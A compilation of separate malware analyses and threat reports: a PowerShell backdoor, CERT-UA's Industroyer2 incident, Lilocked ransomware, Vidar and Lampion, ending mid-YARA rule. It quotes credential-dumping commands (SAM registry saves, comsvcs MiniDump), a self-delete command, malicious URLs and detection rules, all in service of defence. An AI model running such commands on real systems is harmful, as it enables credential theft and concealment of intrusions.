# Analysis: Server-side Polymorphism & PowerShell Backdoors Malware actors very rarely stick to the same script for extended periods of time. They constantly modify and update their attack methods. Recently, we have observed malware that uses server-side polymorphism to hide its payload, which consists of a backdoor fully written in PowerShell. Last year, we blogged about the Rozena malware and how this backdoor incorporated PowerShell to execute its shellcode. However, malware authors are not sticking to the same script, constantly modifying and updating their attack methods. This time we’ve observed a new malware that used server-side polymorphism to hide its payload, which is a backdoor that is fully written in PowerShell. ## Initial Attack Vector The sample was obtained as a malicious Visual Basic Script (VBS) attachment from an email, with the file named as “INAIL_Comunica_133113944054522074634191697732.vbs”. By the looks of its filename, it claims to be a notice from an Italian organization for workplace safety insurance called the Istituto Nazionale Assicurazione Infortuni sul Lavoro (INAIL). Upon execution, this malicious VBS will invoke a downloader written in PowerShell that downloads two files from its command and control (CNC) servers: - hxxp://adm.esurf.info/api?wead (SkypeApp64.exe) - hxxp://space.4fallingstar.info/12.php?vid=pec5 (SearchI32.js) While the URL of the file SkypeApp64.exe was already down as of analysis, the sample remains malicious even without the executable. The CNC server that hosts the file SearchI32.js has server-side polymorphism, in which the hosted JavaScript (JS) files are modified each time they are accessed, making static detection difficult. The file SearchI32.js is an obfuscated JS that invokes another PowerShell downloader that will again download two files, which are both saved in the default Windows temporary folder %temp%: - hxxp://green.4107irishivy.info/cryptbody2.php (SearchI32.txt) - hxxp://green.4107irishivy.info/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php (SearchI32.js) ## Backdoor Downloads SearchI32.js downloads and executes a new version of itself as a form of persistence. At first glance, the file SearchI32.txt looks like junk. However, it is decrypted and executed by the JS file, and is the main PowerShell backdoor. To skip several deobfuscation stages for unveiling the backdoor, we used the PowerShell Extractor Analyzer (PEA), a publicly-available tool developed within G DATA to analyze SearchI32.js. The first part of the code consists of evasion techniques. The backdoor will first try to check if the infected system’s language is Russian, Ukrainian, Belarusian, or Chinese, and if the system is running under VirtualBox or VMWare (suggesting it is analyzed in a virtual environment - a technique often employed by malware analysts), terminating the execution if either check is matched. ### Backdoor Evasion Techniques As part of its persistence, it also adds a shortcut file on the startup folder. The shortcut links to the downloaded SearchI32.js, with a description of “Windows Indexing Service” to throw off the user from its malicious behavior. The command-line script host cscript.exe is then used to execute the SearchI32.js. The backdoor will then create a System.Net.CredentialCache object to store the obtained information from the user. This object will be used for downloading commands from the CNC server and at the same time posting the victim’s information. The collected information is comprised of: - $bot_id – Created ID for the victim that contains the computer name, computer model, and disk drive signatures - $bot_os – Operating system build version - $ver – Backdoor version - $psver – PowerShell version The backdoor will use the DownloadString method to obtain the body of the CNC server site, parsing the content for its backdoor commands. The CNC server site body is expected to contain the commands in this form: `[command]|[URL for the malicious PowerShell script]` The backdoor will repeatedly access its CNC server and wait for one of the following commands: - m1 – Single command execution. Downloads a single string of URL from the CNC and executes it. - m – Multiple command execution. Downloads multiple strings of URL from the CNC and executes each string. - u – Downloads and executes an updated version of SearchI32.js and SearchI32.txt from the CNC server. For the m1 and m commands, the URL being downloaded will contain the PowerShell script to be executed for its malicious activity. We encountered the backdoor updating several times through its commands, like: - u| hxxp://green.4107irishivy.info/cryptbody2.php|hxxp://green.4107irishivy.info/l2.php - m1| hxxp://red.340airport.com/u2 The latter of which was the latest URL as of writing, where the JS decryptor/loader and PowerShell backdoor scripts were completely updated. The CNC server domains were updated during analysis, making this campaign difficult to detect. ### Updated JS Decryptor and Backdoor The updated version of the backdoor is still similar in how it receives its commands from the CNC server, but had several updates in its script: - Adds the updated JS file to the scheduled tasks using the Windows task scheduler (schtasks.exe) for persistence. - Dropping location of downloaded files has been changed from %temp% to %appdata%\Roaming\Microsoft. - Usage of a domain generation algorithm (DGA) when it fails to connect to the main CNC server. ## Defense is Easy Since this malware uses email attachments as the initial attack vector like many other types of malware, it always pays to be safe by validating the source of any emails sent to you that contain attachments or links to downloads. Never open attachments or links from unvalidated email addresses. Always keep your anti-virus and operating systems up to date, to ensure your systems are protected against these new types of malware. ## Indicators of Compromise - URL that attempts to download the executable: - hxxp://adm.esurf.info/api?wead - JS script: - Sample hashes: - d3089f023d0715058773ea0cec037f92a5ce52958fdfe56b53ab291b343cee4f (Initial download of SearchI32.js) - 20317970e11e1dbdc3142b1c4fdf7258ec2d6cb29ac7d2a5ec21ef8eff38ebcc (Succeeding download of SearchI32.js) - URLs: - hxxp://space.4fallingstar.info/l2.php - hxxp://green.4107irishivy.info/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php - hxxp://red.1407cty13pec.com/l2.php - hxxp://sad.childrensliving.com/l2.php - Obfuscated PS1 backdoor: - Sample hash: - 1c9d3bcea90d3ac24cef4302fa081d8f6e50a580a74d204923ee9491f0008c6e (SearchI32.txt) - URLs: - hxxp://space.4fallingstar.info/cryptbody.php - hxxp://green.4107irishivy.info/cryptbody2.php - hxxp://red.1407cty13pec.com/cryptbody.php - hxxp://sad.childrensliving.com/cryptbody2.php - Other URLs that were used by the malware: - hxxp://stats.emeraldsurfwatermanagement.com - hxxp://green.dddownhole.com - hxxp://green.nogel.tech - hxxp://red.340airport.com - hxxp://wws.rheovesthr.com - hxxp://red.1407cty13pec.com
# CERT-UA ## General Information The Governmental Computer Emergency Response Team of Ukraine CERT-UA has taken urgent measures to respond to an information security incident related to a targeted attack on Ukraine's energy facility. The attackers aimed to decommission several infrastructural elements of the object of attack, namely: - High-voltage electrical substations using the malicious program INDUSTROYER2. Each executable file contained a statically specified set of unique parameters for the respective substations (file compilation date: 23.03.2022). - Electronic computers running the Windows operating system (user computers, servers, as well as automated workstations ACS TP) using the malicious program-destructor CADDYWIPER. The decryption and launch of the latter involves the use of the ARGUEPATCH loader and the TAILJUMP silkcode. - Server equipment running Linux operating systems using malicious destructive scripts ORCSHRED, SOLOSHRED, AWFULSHRED. - Active network equipment. Centralized distribution and launch of CADDYWIPER is implemented through the Group Policy Mechanism (GPO). The POWERGAP PowerShell script was used to add a Group Policy that downloads file destructor components from a domain controller and creates a scheduled task on a computer. The ability to move horizontally between segments of the local area network is provided by creating chains of SSH tunnels. IMPACKET is used for remote execution of commands. It is known that the victim organization suffered two waves of attacks. The initial compromise took place no later than February 2022. The disconnection of electrical substations and the decommissioning of the company's infrastructure was scheduled for Friday evening, April 8, 2022. So far, the implementation of the malicious plan has been prevented. To detect signs of similar threats in other organizations in Ukraine, operational information with a TLP:AMBER access restriction level, including malware samples, indicators of compromise, and Yara rules, has been shared with a limited circle of international partners and enterprises in Ukraine's energy sector. Special thanks are expressed to Microsoft and ESET. ## Indicators of Compromise **Files:** - fbe32784c073e341fc57d175a913905c - 43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861 (sc.sh - OrcShred) - 73561d9a331c1d8a334ec48dfd94db99 - bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99 (wobf.sh - AwfulShred) - 97ad7f3ed815c0528b070941be903d07 - 87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028 (wsol.sh - SoloShred) - 9ec8468dd4a81b0b35c499b31e67375e - cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e507e57e3582327 ({zrada.exe, peremoga.exe, vatt.exe} - ArguePatch) - 1938380a81a23b8b1100de8403b583a7 - 1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2c9bc7d9ee7f5a (pa.pay - TailJump) - b63b9929b8f214c4e8dcff7956c87277 - fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa (caddywiper.bin - CaddyWiper) - 3229e8c4150b5e43f836643ec9428865 - 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 (108_100.exe - 2022-03-23 - Industroyer2) **Hosts:** - C:\Users\peremoga.exe - C:\Users\pa1.pay - reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y - reg save HKLM\SECURITY C:\Users\Public\sec.reg /y - reg save HKLM\SAM C:\Users\Public\sam.reg /y - \\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\zrada.exe - \\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\pa.pay - C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll MiniDump%PID% C:\Users\Public\mem.dmp full - C:\Windows\Temp\link.ps1 - C:\Users\peremoga.exe - C:\Users\pa1.pay - C:\Dell\vatt.exe - C:\Dell\pa.pay - C:\Dell\108_100.exe - C:\tmp\cdel.exe **Network:** - 91.245.255[.]243 - 195.230.23[.]19
# Lilocked Ransomware Actively Targeting Servers and Web Sites A relatively new ransomware named Lilocked by researchers and Lilu by the developers is actively targeting servers and encrypting the data located on them. All of the known infected servers are web sites, which is causing the encrypted files to show up in Google search results. We first reported about Lilu in our The Week in Ransomware article on July 26th, 2019 when Michael Gillespie saw a sample uploaded to his ID Ransomware service. It was spotted again yesterday by security researcher Benkow who tweeted about it. Google reports over 6,000 search results with web servers that have been encrypted by this ransomware and having their files renamed with a .lilocked extension. It should be noted that many of these results are for the same web sites. Furthermore, submissions stats from ID Ransomware show that this infection has a low volume, but steady, amount of submissions to the ransomware identification service. It is not known if Lilu is specifically targeting web servers, but most of the submitted files seen by BleepingComputer are related to web sites. When reviewing the submitted files, there does not seem to be a pattern such as WordPress, Magento, or other commonly hacked CMS sites. ### Attackers possibly using exploits to gain access In response to Gillespie's tweet, one user reported that the attacker gained access to their web server using an Exim exploit. Gillespie further told BleepingComputer that another victim felt that they were infected through an outdated WordPress installation. BleepingComputer has not been able to independently confirm if the attacker is using exploits to hack into the sites. ### What's known about the Lilocked encryption process Unfortunately, a sample has never been found for the Lilocked, or Lilu, Ransomware, so not much is known about it other than what we can see in the wild. When a machine is infected, the ransomware will encrypt a file and then append the .lilocked extension to the file name. For example, apple-icon.png would be encrypted and renamed to apple-icon.png.lilocked. For each folder that is encrypted, Lilocked will also drop a ransom note named #README.lilocked. The #README.lilocked ransom note tells the victim that their data has been encrypted and that they must go to the attacker's Tor payment site in order to pay a ransom. This ransom note includes a key that is needed to login to the payment site. If a victim goes to the site, they will be presented with a page asking them to enter their key. Once the key is entered, they will be shown a page with instructions on how to pay the ransom. These instructions include a bitcoin address and ransom amount, which is 0.010 BTC or approximately $100 USD from the ransom demands seen by BleepingComputer. At this time, there is no known way to decrypt files encrypted by Lilu, but if a sample is discovered that may change. BleepingComputer has also reached out to the contact email listed on the Tor site with questions, but had not heard back at the time of this publication. ### IOCs: **Associated Files:** - #README.lilocked **Associated email:** - [email protected] **Tor Payment Site:** - y7mfrrjkzql32nwcmgzwp3zxaqktqywrwvzfni4hm4sebtpw5kuhjzqd.onion **Ransom Note Text:** I'VE ENCRYPTED ALL YOUR SENSITIVE DATA!!! IT'S A STRONG ENCRYPTION, SO DON'T BE NAIVE TO RESTORE IT;) YOU CAN BUY A DECRYPTION KEY FOR A SMALL AMOUNT OF BITCOINS! YOU HAVE 7 DAYS TO DECRYPT YOUR FILES OR YOUR DATA WILL BE PERMANENTLY LOST!!! PLEASE VISIT MY SITE WITH TOR BROWSER COPY THE FOLLOWING KEY THERE AND FOLLOW THE INSTRUCTIONS! (L2) YOUR KEY IS [key] **Lilocked** **Lilu** **Ransomware** Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.
# The Cyber Shafarat - Treadstone 71 ## Dragonfly 2.0? Delta Elektroniks and Pre-embedded Malware **Date:** 06/09/2017 **Author:** Treadstone 71 Delta Elektroniks is highly likely supported by the Russian government and poses a direct threat to energy sector supply chain operations. Treadstone 71 asserts with high confidence that Delta Elektroniks (DE) is likely a front company directly associated with Energetic Bear (Dragonfly), and the equipment purchased from DE is vulnerable to supply chain threats due to malware embedded in the Taiwanese Delta Electronics (T-DE) programmable logic controller (PLC) software. T-DE is not aware of the infections allowing customers to download and install infected PLC software for the initial purposes of cyber espionage. Long-term intentions include possible physical sabotage operations. The PLCs appear to be genuine production parts with malware introduced post-production. Verification of Oleg Vladimirovich Strekozov’s identity is incomplete; the name is likely fictitious and probably state-sponsored. ### Evidence that suggests this outcome: - Malware Targets SCADA Devices - TTPs are like Dragonfly or Energetic Bear (B2) - Targeting SCADA devices is consistent with espionage practices (B2) - Provides hackers a foothold into US critical infrastructure - A copycat website in Russia is suspicious and consistent with masquerade techniques (C3) - A legitimate Russian business would not conduct themselves in such a way (C2) - Multiple other sites deliver the same software (C3) The full report: Intelligence Games in the Power Grid – 2016 The associated PPTX: Treadstone 71 Intelligence Games in the Power Grid Published by Treadstone 71 @Treadstone71LLC cyber intelligence, counterintelligence, infiltration, OSINT, Clandestine Cyber HUMINT, cyber intel and OSINT training and analysis, cyber psyops, strategic cyber security, Interim CISO Services.
# A Case of Vidar Infostealer - Part 2 Hi, welcome to Part 2 of my Vidar infostealer analysis writeup. In Part 1 of this post, I covered detailed technical analysis of the packed executable dropped by the initial stager by extracting and exploring embedded shellcode, which is unpacking and self-injecting the final payload. This part focuses on detailed static analysis of the final injected payload: unpacked Vidar infostealer, defying anti-analysis techniques employed by malware (string decryption, dynamically loading DLLs, and resolving APIs), automating analysis, and finally uncovering the stealer’s main functionality through deobfuscated/decrypted strings. **SHA256:** fca48ccbf3db60291b49f2290317b4919007dcc4fb943c1136eb70cf998260a5 ## Vidar in a Nutshell The Vidar Stealer is a popular stealer written in C++ and has been active since October 2018, seen in numerous different campaigns. It has been utilized by the threat actors behind GandCrab to use Vidar infostealer in the process for distributing the ransomware as a second-stage payload, which helps increase their profits. The family is quite flexible in its operations as it can be configured to grab specific information dynamically. It fetches its configuration from a C2 server at runtime, which dictates what features are activated and which information is gathered and exfiltrated from the victim machine. It also downloads several benign supporting DLLs (freebl3.dll, mozglue.dll, msvcp140.dll, and nss3.dll) to process encrypted data from browsers such as email credentials, chat account details, web-browsing cookies, etc., compresses everything into a ZIP archive, and then exfiltrates the archive to the attackers via an HTTP POST request. Once this is done, it kills its own process and deletes downloaded DLLs, working directory contents, and the main executable in an attempt to wipe all evidence of its presence from the victim’s machine. ## Technical Analysis I’ll start the analysis by loading this executable directly in IDA to look for important strings. IDA’s strings window shows some interesting plaintext and base64 encoded strings stored in the .rdata section. If I quickly decode a few base64 strings in Cyberchef, it results in junk data, giving a clue that strings are possibly encrypted before they were base64 encoded. Next, I’ll check for the encryption algorithm, but KANAL fails to detect any potential algorithm for string encryption. So let’s start digging statically to see how string encryption actually works in this case. For this purpose, I’ll double-click a base64 encoded string randomly to see where it’s been used by finding its Xrefs, which takes us to the `sub_423050` routine. This routine seems to be processing most of the base64 encoded strings and storing the result for each processed string in a global variable, apart from the first two variables which seem to be storing plaintext values for a possible decryption key and domain. Let’s rename this routine to `wrap_decrypt_strings`. The `sub_422F70` in the `wrap_decrypt_strings` routine can be seen to be repetitively called with base64 strings, having been Xref’d for ~400 times. It can be assumed it is processing encrypted strings and can be renamed to `decrypt_strings` for our convenience. Further exploring `decrypt_strings` by loading the executable in x64dbg, debugging unveils that the first two calls to `sub_4011C0` routine are just copying values of the key and base64 encoded encrypted string to local variables. The next routine, `sub_422D00`, is decoding the base64 string, storing the decoded hex value to a local variable, and returning the address of this local variable. The base64 decoded hex string can also be verified in Cyberchef. Later, it calculates the length for the base64 decoded hex string and allocates a buffer equivalent to that length on the heap. The next two calls to `sub_401330` routine are allocating two buffers on the heap for the key and base64 decoded hex string respectively before it proceeds to finally decrypt data using `sub_422980`. A quick decompilation of code for this routine results in three well-recognized RC4 loops. String decryption can be confirmed by following a Cyberchef recipe. The decompiled version of the `decrypt_strings` routine sums up all the steps described above. Once processing for `wrap_decrypt_strings` completes, it continues to process the next routine from `_WinMain`. A quick overview of `sub_419700` reveals that it makes extensive use of global variables which were initialized in `wrap_decrypt_strings`, apart from two calls to `sub_4196D0` and `sub_4195A0` routines respectively, which can further be explored by debugging. In the figure above, routine `sub_4196D0` is parsing the PEB structure to get the base address for Kernel32.dll loaded in memory by accessing `_PEB -> PEB_LDR_DATA -> InLoadOrderModuleList` structures respectively. The next routine, `sub_4195A0`, takes two parameters: 1) kernel32.dll base address, 2) address of a global variable `dword_432204` (LoadLibraryA) in the first call and `dword_432438` (GetProcAddress) in the second call. Here, `sub_4195A0` is parsing kernel32.dll’s header by navigating from `IMAGE_DOS_HEADER -> IMAGE_NT_HEADER -> IMAGE_OPTIONAL_HEADER.DATA_DIRECTORY -> IMAGE_EXPORT_DIRECTORY.AddressOfNames` to retrieve the export name and compare it with the value of the API contained by the input parameter value, which in this case is LoadLibraryA. If both strings match, it returns the API’s address by accessing the value of `IMAGE_EXPORT_DIRECTORY.AddressOfFunctions` field. The resolved address is stored in `dword_432898` variable while the second call to `sub_4195A0` resolves GetProcAddress, storing the resolved address to `dword_43280C`, which is subsequently used to resolve the rest of the API functions at runtime. I wrote an IDAPython script that first decrypts strings from `wrap_decrypt_strings`, resolves APIs from `sub_419700` routine, adds comments, and gives meaningful names to global variables storing resolved APIs to properly understand code flow and its functionality. The `decrypt_strings` routine from the IDAPython script finds the key, locates ~400 base64 encoded encrypted strings, base64 decodes strings, and uses the key to decrypt base64 decoded hex strings, adding decrypted strings as comments and renaming variables. After resolving APIs, the next routine `sub_41F4A0` checks if the victim machine is part of CIS (Commonwealth of Independent States) countries, which include Armenia, Azerbaijan, Belarus, Georgia, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan, Ukraine, and Uzbekistan. It retrieves the language ID for the current user by calling `GetUserDefaultLangID` API and compares the returned result with specified location codes where 0x43F corresponds to Kazakhstan, 0x443 to Uzbekistan, 0x82C to Azerbaijan, and so on. It continues performing its tasks if the user’s language ID doesn’t fall in the above-mentioned category; otherwise, it stops execution and exits. The next routine, `sub_41B700`, performs a Windows Defender anti-emulation check by comparing the computer name to "HAL9TH" and the user name to "JohnDoe" strings. Once all required checks are passed, the `sub_420BE0` routine is called, which consists of the stealer’s grabbing module. It prepares URLs and destination path strings where downloaded DLLs from the C2 server are to be stored before performing any other activity. It downloads 7 DLLs under `C:\Programdata\`. Next, it creates its working directory under `C:\Programdata`, with the name of the directory being a randomly generated 15-digit string like `C:\ProgramData\920304972255009`, where it further creates four sub-directories (autofill, cc, cookies, and crypto) which are required to store stolen data from the browser, Outlook, cryptocurrency wallets, and system information gathering modules. Different types of browsers are being targeted to steal autofill, credit card, cookies, browsing history, and the victim’s login credentials. This module is equipped with advanced stealing and encryption techniques. It further queries the registry about SMTP and IMAP servers with confidential data and passwords, gathers data about connected Outlook accounts (if any), and finally dumps all the data to `outlook.txt` file in its working directory. Later, it scans for `.wallet`, `.seco`, `.passphrase`, and `.keystore` files for ~30 cryptocurrency wallets on their installed paths and copies scanned files to “crypto” in the working directory. Vidar creates an HTTP POST request for the C&C server to download configuration for the grabbing module at runtime, parses the downloaded configuration, and proceeds to gather host, hardware, and installed software-related info, which is stored in `system.txt` file according to the specified format. The same routine also captures screenshots, which are stored as “screenshot.jpg” inside the working directory. Immediately after that, a zip file with “_8294024645.zip” name format is created, and stolen contents from the working directory are compressed (the file is compressed using the Zip2 encryption algorithm as identified by KANAL). The compressed file is now ready to be exfiltrated to its C&C server in another POST request. After exiting from the recursive grabbing module, it deletes downloaded DLLs and files created in the working directory used to dump stolen data and information in order to remove its traces from the victim machine. Eventually, it prepares a command “/c taskkill /pid PID & erase EXECUTABLE_PATH & RD /S /Q WORKING_DIRECTORY_PATH\* & exit” which gets executed using cmd.exe to kill the running infostealer process and to delete remaining directories created by this process and the process itself. That’s it for Vidar infostealer’s in-depth static analysis and analysis automation! See you soon in another blog post.
# Targeting Portugal: A New Trojan 'Lampion' Last days of 2019 were the perfect time to spread phishing campaigns using email templates based on the Portuguese Government Finance & Tax. SI-LAB noted that Portuguese users were targeted with malscam messages that reported issues related to a debt of the year 2018. In detail, the emails are related to the Rendimento de Pessoas Singulares – IRS (annual tax declaration), and any citizen who has received the message can be misled by criminals – as the end of the year is the right time to discuss issues within this context. The malware was named ‘Lampion’ as this is the name used as part of its internal name. Regarding a broad analysis, it looks like the Trojan-Banker.Win32.ChePro family, but with improvements that make hard its detection and analysis. In brief, when the victim clicks on the links available in the email body, the malware is downloaded from the online server. The downloaded file is a compressed file (.zip) called: FacturaNovembro-4492154-2019-10_8.zip. After extracting the file, three files are presented. The file “FacturaNovembro-4492154-2019-10_8.vbs” is the first stage of the Lampion’s infection chain. This is a Visual Basic Script (VBScript) file that acts as a dropper and downloader. It downloads the next stage from the compromised server available on the Internet on an AWS S3 bucket. The trojan Lampion uses anti-debug and anti-VM techniques. The use of a commercial protector known as VMProtector 3.x and specially crafted codes make it difficult to analyze both in a sandbox environment or manually. After the VBScript file is executed, two files are downloaded: P-19-2.dll and 0.zip. The P-19-2.dll file (Lampion) is a PE file that is executed during a VBScript execution when the affected computer starts. That file invokes the second file, 0.zip, which is a DLL file with additional code on C2 and how the trojan gets details from the user’s computers. This DLL contains a name in the Chinese language with the following target message for Portugal: “Your group of Portuguese suckers”. Lampion trojan (P-19-2.dll) was sent to VirusTotal by SI-LAB, and 12 from 71 engines classified it as malware. This is a clear signal that most of the antivirus engines don’t detect yet the malware signature. Details from the computer’s disk, opened windows, clipboard, and banking credentials are gathered and sent to the C2 available on the Internet. The malware only runs if the DLL (inside the 0.zip file) is available in the same directory where it is executed. Users who receive emails of this nature should be aware as these files have a low detection rate and will extract sensitive details including banking credentials from victims’ computers. For Portuguese citizens, special attention is needed during this holiday season as this is an ongoing target campaign. ## Technical Analysis Several emails were received by Portuguese users about a new campaign related to the Rendimento de Pessoas Singulares – IRS (annual tax declaration) during the last days of 2019. Two examples can be seen below. At first glance, just the URLs and their description are different between both templates. The URLs are responsible for downloading a zip file that contains three files described below. ### Lampion Trojan Malware – The 1st Stage **Threat name:** FacturaNovembro-4492154-2019-10_8.zip **MD5:** e7bdce5505ee263530dea04c2fdc661f **SHA1:** d4927477b71cbf540a894cf2c5849209b64c92af This is the zip file that contains the malware’s first stage downloaded from compromised servers online. It is a zip file, with a low detection rate, and it contains three other files. The files are as follows: 1. FacturaNovembro-4492154-2019-10_8.pdf (51fbca86a499c55ce31179fc36e0d889) 2. FacturaNovembro-4492154-2019-10_8.vbs (3350e74a4cfa020f9b256194eae25c12) 3. Politica de Protecao de Dados – ST-8 (deb80a47496857e24c0bc57873b25707) Only the second file (FacturaNovembro-4492154-2019-10_8.vbs) has malicious code capable of infecting victims’ computers. In contrast, files [1] and [3] are harmless and are only used as a way of inducing the victims to open the VBS document – the Lampion 1st stage. On the other hand, the PDF file [1] is just a PDF file with some information contained inside, and without malicious links or activity to collect details on the victim’s computer. **Threat name:** FacturaNovembro-4492154-2019-10_8.vbs (Lampion – 1st stage) **MD5:** 3350e74a4cfa020f9b256194eae25c12 **SHA1:** 7f5960ff9feff30d2f4a4c1598dd22632ceea0cb This file has a detection rate of 25/58 and is classified as a Trojan Agent. It is, in fact, a trojan downloader/dropper as it downloads the next stage from the Internet and also drops a new VBS file that will be executed whenever the victim’s computer starts. It looks like an improved form of the Trojan-Banker.Win32.ChePro family. Looking at the file, it is obfuscated, but in this case, the technique used by criminals was simple: just add commentaries (junk blocks) between the lines of the malicious code to make it confusing. After a few rounds of code cleanup (deobfuscation), the final code comes up. Before going into detail, the high-level diagram with the overall behavior of the file is presented. In detail, the first stage works as described below: - It depends on the initial victim’s action. - The VBS file downloads additional files from the Internet (the 2nd stage – the Lampion itself). - Two files are downloaded to the AppData Windows folder, and a new VBS file is also created with the code that will execute the trojan every time the victim’s computer starts. - A .lnk file is created in the Windows StartUp folder to execute the trojan (a persistence technique). - Finally, the victim’s computer is forced to reboot and the trojan malware starts its execution. The 1st stage has random functions to generate random names that will be used to rename the next malicious files created on the victim’s machine. Line 27 is where the Wscript object is created that will be used to create a .lnk file on the Windows StartUp folder. All the malware source code is commented on in the next images. The next figure has the function to decrypt the URLs from which the 2nd stage of malware is downloaded. Next, all the shortcuts (.lnk) files are deleted from the operating system StartUp folder. After that, all the VBS files from the operating system StartUp folder are also removed to prevent other files from starting with the OS. A randomly named folder is created in the Windows AppData directory that will keep the malicious files. Now is time to download the 2nd stage from the Internet. Two files are obtained from two AWS S3 buckets. The URLs are encoded with the following strings: 1. logs = Decrypt("&aQ^>jhjqfFi`0o%B%~\tkLYya'jL^\[{m[e1hYb~Z!$miU)e$5k3i]#*[OWHi(jc#-(F$bWHcVW\pWe;deW3m$i_$TY%emc^%s&M$Tp^_OfxK") 2. ur = Decrypt("{PL^7j\j9f)is0D%9%aiXZ~]E^\i#k*_+ZW^(eU_-ZNe^]5^;i}ZaYm'Y/wYH$6im)6$tksiw#|[dWNi)ja*(~$oWzc+Wip@e6d2W&m.ix$uYde&ch%{F,#8'9/T#F(]$`ZdbrbY#") To get the result of plain-text URLs, SI-LAB is keeping the decryption code available on GitHub. The result shows us two AWS-hosted addresses that contain two malicious files, namely: 1. hxxps[:]//fucktheworld.s3.us-east-2.amazonaws[.]com/0.zip 2. hxxps[:]//sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws[.]com/P-19-2.dll The 0.zip file is a DLL with additional code loaded by PE File P-19-2.dll during its execution. It is the PE file that will be executed each time the infected machine starts. This file is overly large (32 MB in size), with a lot of trash to make it difficult to detect. Continuing to the last part of the 1st stage, the VBS file, in the last phase a VBS file is created in the AppData folder (C:\Users\user\AppData\Roaming\lkuuxelnxqy.vbs). Also, a .lnk is created in the Windows StartUp folder (C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lkuuxelnxqy.lnk) which will then execute the next malware stage (P-19-2.dll). Finally, WScript.Shell runs the created VBScript file, the victim’s computer is forced to restart, and the malware itself (P-19-2.dll) runs on the infected machine. ## Lampion Trojan – 2nd Stage (After the Persistence) **Threat name:** P-19-2.dll **MD5:** 18977c78983d5e3f59531bd6654ad20f **SHA1:** 941d03715af25f7bfedaaf86081ebc2046b4b019 From the first submission, we noticed that the threat was recent and unique in VirusTotal. This file first appears as a DLL, but it is a PE File. As noted, 12 of 71 AV engines classified the file as malware. The file is extremely large (32 MB), with a lot of junk allowing it to evade antivirus engines. ### The Malware’s Protection As explained below, malware is protected by VMProtect 3.x which makes it difficult to analyze even through a manual approach. VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze and crack the software. After some rounds, we found that it is protected with the VMProtect 3.x. VMProtect has three protection modes: Mutation, Virtualization, and “Ultra” (both methods combined). Another detail is two sections identified in PE File (vmp0 and vmp1), which contain the packed binary code that will later be devirtualized at runtime, and also has the EP (entry point) where the binary will be executed first. In detail, the malware was developed in Delphi. The IDE Embarcaredo was used to support its development. However, once the malware is protected with VMProtect, it is not possible to decompile the binary source code. ### Disassembling – Deep Inside By disassembling it, it is possible to get a binary dump by indicating the potential OEP (original entry point). Although part of the binary code remains obfuscated and protected, through this technique, it was possible to get some details about the inner structure of the malware. The extracted file has its partial IAT messed up and the name of each function does not appear because its respective virtual addressing is necessary to convert it to a raw addressing. This is a result of the VMProtect 3.x. During the static analysis, we identified some functions such as HideFromDebugger and IsDebuggerPresent, and even the library SBIEDLL.DLL which aims to detect if the program is running in a virtual environment. ## Lampion – Dynamic Analysis At the moment, the file 0.zip has not been used (the second one that was downloaded). When the Lampion is running, it will try to read the 0.zip file from the same directory where it is executing (AppData, in this case). The 0.zip file is a compressed file with a DLL inside it with additional code. But the file is protected with a password. Only the 2nd stage (Lampion) has that password inside. To get details about the library inside the 0.zip file, we analyzed the 2nd stage and identified the right moment the file is unzipped to obtain the password hardcoded from memory (as it is obfuscated). After extracting the files, we can see that its name has Chinese characters. Through the translated message “Your group of Portuguese suckers” we can conclude that this threat is targeting Portuguese citizens. Again, this file is also protected with VMProtector 3.x. ## Indicators of Compromise (IOCs) 1. URLs - rebrand[.]ly/mmvk36?=NOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJBNOWAUVJB - hxxp[:]//100.26.189.49/PY/App.php?=5wzpz2e7xglkzmh - hxxps[:]//fucktheworld.s3.us-east-2.amazonaws.com/0.zip - hxxps[:]//sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws.com/P-19-2.dll - hxxp[:]//18.219.52.4/PT/VaiPostaProPai.php 2. Hashes - e7bdce5505ee263530dea04c2fdc661f (FacturaNovembro-4492154-2019-10_8.zip) - deb80a47496857e24c0bc57873b25707 (Politica de Protecao de Dados - ST-8) - 51fbca86a499c55ce31179fc36e0d889 (FacturaNovembro-4492154-2019-10_8.pdf) - 3350e74a4cfa020f9b256194eae25c12 (FacturaNovembro-4492154-2019-10_8.vbs) - 18977c78983d5e3f59531bd6654ad20f (P-19-2.dll | P-19.2.exe - Lampion) - 76eed98b40db9a91b86831f857efb45b05f62024a9b68c6977502a4dd729af76 (你 的 一 群 葡 萄 ⽛ ⼈ 的 吸 盤) ## Yara Rules ```yara rule Lampion_VBS_File_Portugal { meta: description = "Yara rule for Lampion Portugal - December version" author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {53 65 74 20 76 69 61 64 6f 20 3d 20 63 75 7a 61} $lampion_b = {76 69 61 64 6f 2e 57 69 6e 64 6f 77 53 74 79 6c} condition: all of ($lampion_*) } rule Lampion_DLL_Portugal { meta: description = "Yara rule for Lampion Portugal - December version" author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {5468 6973 4269 6368 7400 4669 6c74 6572} condition: all of ($lampion_*) or hash.md5(0, filesize) == "76eed98b40db9a91b86831f857efb45b05f62024a9b68c6977502a4dd729af76" } rule Lampion_malware_portugal { meta: description = "Yara rule for Lampion Portugal - December version" 